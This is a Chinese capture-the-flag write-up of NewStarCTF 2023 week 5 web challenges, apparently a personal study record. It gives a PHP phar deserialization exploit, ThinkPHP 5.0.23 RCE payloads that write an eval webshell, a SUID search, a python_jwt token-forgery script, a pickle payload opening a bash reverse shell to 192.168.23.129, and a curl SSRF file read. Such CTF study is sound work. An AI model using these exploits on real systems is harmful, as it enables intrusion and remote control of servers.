[NewStarCTF 2023 公开赛道]WEEK5–web方向复现记录 Unserialize Again
源代码提示cookie
下一步就是去找cookie
访问
其实看到这个名字第一瞬间想到的是这个点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__ );error_reporting (0 ); class story { private $user ='admin' ; public $pass ; public $eating ; public $God ='false' ; public function __wakeup ( ) { $this ->user='human' ; if (1 ==1 ){ die (); } if (1 !=1 ){ echo $fffflag ; } } public function __construct ( ) { $this ->user='AshenOne' ; $this ->eating='fire' ; die (); } public function __tostring ( ) { return $this ->user.$this ->pass; } public function __invoke ( ) { if ($this ->user=='admin' &&$this ->pass=='admin' ){ echo $nothing ; } } public function __destruct ( ) { if ($this ->God=='true' &&$this ->user=='admin' ){ system ($this ->eating); } else { die ('Get Out!' ); } } } if (isset ($_GET ['pear' ])&&isset ($_GET ['apple' ])){ $pear =$_GET ['pear' ]; $Adam =$_GET ['apple' ]; $file =file_get_contents ('php://input' ); file_put_contents ($pear ,urldecode ($file )); file_exists ($Adam ); } else { echo '多吃雪梨' ; } 多吃雪梨
这里很明显是php的反序列化
但是又没有serialize、unserialize
所以自然想到另一个phar反序列化
https://xiubi1125.github.io/2025/09/22/php%E5%AD%A6%E4%B9%A0%E2%80%94%E2%80%94phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
PHP(Phar) 反序列化漏洞及各种绕过姿势
目标是触发 __destruct() 中的 system($eating) 执行命令
需要对象满足:
$user = 'admin'(私有属性)
$God = 'true'
$eating = 要执行的命令(如 cat /flag)
这里有个wakeup需要绕过 最简单粗暴的就是修改属性个数
比如这里story类其实是有四个属性的 我们序列化的时候把个数改了就行
只有当 $this->God 的值为 'true',并且 $this->user 的值为 'admin' 时 ,才会执行 system($this->eating)
所以我们把god改成true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <? class story { private $user ='admin' ; public $pass ; public $eating ='cat /f*' ; public $God ='true' ; } @unlink ('test.phar' ); $phar =new Phar ('test.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ?>' );$o =new story ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" );$phar ->stopBuffering ();?>
修改之后改一下他的属性个数
1 2 3 4 5 6 7 8 9 from hashlib import sha1with open (r"D:\phpstudy_pro\WWW\test.phar" ,'rb' ) as f: text = f.read() s = text[:-28 ] h = text[-8 :] newf = s + sha1(s).digest() + h with open (r"D:\phpstudy_pro\WWW\test2.phar" ,"wb" ) as f: f.write(newf)
用这个脚本修复一下签名
然后post上传我们新生成的test2文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import urllib.parseimport osimport requestsurl='http://651b9ffd-b2ac-4dd5-b7f3-f5d76baae693.node5.buuoj.cn:81/' params={ 'pear' :'test2.phar' 'apple' :'phar://test2.phar' } with open (r'D:\phpstudy_pro\WWW\test2.phar' ,'rb' ) as fi: f = fi.read() ff=urllib.parse.quote(f) fin=requests.post(url=url+"pairing.php" ,data=ff,params=params) print (fin.text)
我这里的最后测试没有成功
Final
?……..
thinkphp
大概看了一下感觉比较简单
Thinkphp框架有s参数可以加载模块,随便加点什么?s=captch
看到具体版本为5.0.23
这个漏洞的利用方式
post去传数据
1 _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=5
filter里面的就是我们要执行的命令
phpinfo查看信息
找到根目录DOCUMENT_ROOT,/var/www/public
这里system函数被禁用 我们选择exec来执行
1 _method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/shell.php
蚁剑连接shell.php
打开会发现根目录下我们没有权限
进行提权
1 2 find / -user root -perm -4000 -print 2>/dev/null
查看具有SUID权限的命令
Ye’s Pickle 这个就是一个jwt伪造和pickle反序列化
先来看附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import base64import stringimport randomfrom flask import *import jwcrypto.jwk as jwkimport picklefrom python_jwt import *app = Flask(__name__) def generate_random_string (length=16 ): characters = string.ascii_letters + string.digits random_string = '' .join(random.choice(characters) for _ in range (length)) return random_string app.config['SECRET_KEY' ] = generate_random_string(16 ) key = jwk.JWK.generate(kty='RSA' , size=2048 ) @app.route("/" ) def index (): payload=request.args.get("token" ) if payload: token=verify_jwt(payload, key, ['PS256' ]) session["role" ]=token[1 ]['role' ] return render_template('index.html' ) else : session["role" ]="guest" user={"username" :"boogipop" ,"role" :"guest" } jwt = generate_jwt(user, key, 'PS256' , timedelta(minutes=60 )) return render_template('index.html' ,token=jwt) @app.route("/pickle" ) def unser (): if session["role" ]=="admin" : pickle.loads(base64.b64decode(request.args.get("pickle" ))) return render_template("index.html" ) else : return render_template("index.html" ) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
下面这一段
1 2 3 4 def unser(): if session["role"]=="admin": pickle.loads(base64.b64decode(request.args.get("pickle"))) return render_template("index.html")
很明显我们要伪造jwt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import base64 from datetime import timedelta from json import loads, dumps from jwcrypto.common import base64url_decode, base64url_encode def topic(topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['role'] = 'admin' fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' originaltoken ='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjI2NjUwMDYsImlhdCI6MTc2MjY2MTQwNiwianRpIjoiWmYtNjdKM0MwcFJ0M29MZ1ZuRGtnQSIsIm5iZiI6MTc2MjY2MTQwNiwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.ISLMne_B0getapcICw7DFPp66jCgfwvpEcSgxV8erFJpzaV9Z0icFGU0SgLpERgEbVI-x2Yx-xbaboKrphVks_bWi36y55d6mNON2ICzwcgfjLeggY4r9TBh44uss7DrXpK46kRZHyqqZdKY1CU7S7hQ2LsX7_otKXVo00HYAhrr9wmt4i4j7hHQPlYi9R0vufpSq23S6DDAHU-2y0g74PtzzvCYj1g5XyZE5bnMFDIn3jNOv8slyy4aHJKNrc04Hg6YlLcVLMwNwOmq9ZpCxSVcPII23f-gSpayyUBLqEKgJTocRa69I6YuPVKKy6S_gfyt71ripmwwvDxznTdRzw' topic = topic(originaltoken) print(topic)
guest用户伪造成admin
再利用pickle反序列化
我这里反弹shell弹不上(遗憾离场)
1 2 3 4 5 6 7 8 import base64 opcode=b'''cos system (S"bash -c 'bash -i >& /dev/tcp/192.168.23.129/1234 0>&1'" tR. ''' print(base64.b64encode(opcode))
pppython? 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ?php if ($_REQUEST ['hint' ] == ["your?" , "mine!" , "hint!!" ]){ header ("Content-type: text/plain" ); system ("ls / -la" ); exit (); } try { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $_REQUEST ['url' ]); curl_setopt ($ch , CURLOPT_CONNECTTIMEOUT, 60 ); curl_setopt ($ch , CURLOPT_HTTPHEADER, $_REQUEST ['lolita' ]); $output = curl_exec ($ch ); echo $output ; curl_close ($ch ); }catch (Error $x ){ highlight_file (__FILE__ ); highlight_string ($x ->getMessage ()); } ?> curl_setopt (): The CURLOPT_HTTPHEADER option must have an array value
首先来看
1 2 3 4 5 if ($_REQUEST ['hint' ] == ["your?" , "mine!" , "hint!!" ]){ header ("Content-type: text/plain" ); system ("ls / -la" ); exit (); }
这一段给了很明显的提示
hint为数组,对应键值为"your?", "mine!", "hint!!"
1 ?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
可以看到有flag 但是我们没有权限
还有一个app.py文件
我们先尝试读一下app.py
源码中有curl命令 想到ssrf
1 /?url=file:///app.py&lolita[]=
lolita是源码中定义的、用于接收 HTTP 头参数的请求参数名,必须以数组格式传递(通过lolita[]=...),目的是让CURLOPT_HTTPHEADER能正常接收参数,避免报错。此时构造请求?url=file:///app.py&lolita[]=,理论上可以通过 curl 的file协议读取/app.py的内容。
NSSCTF秋季招新赛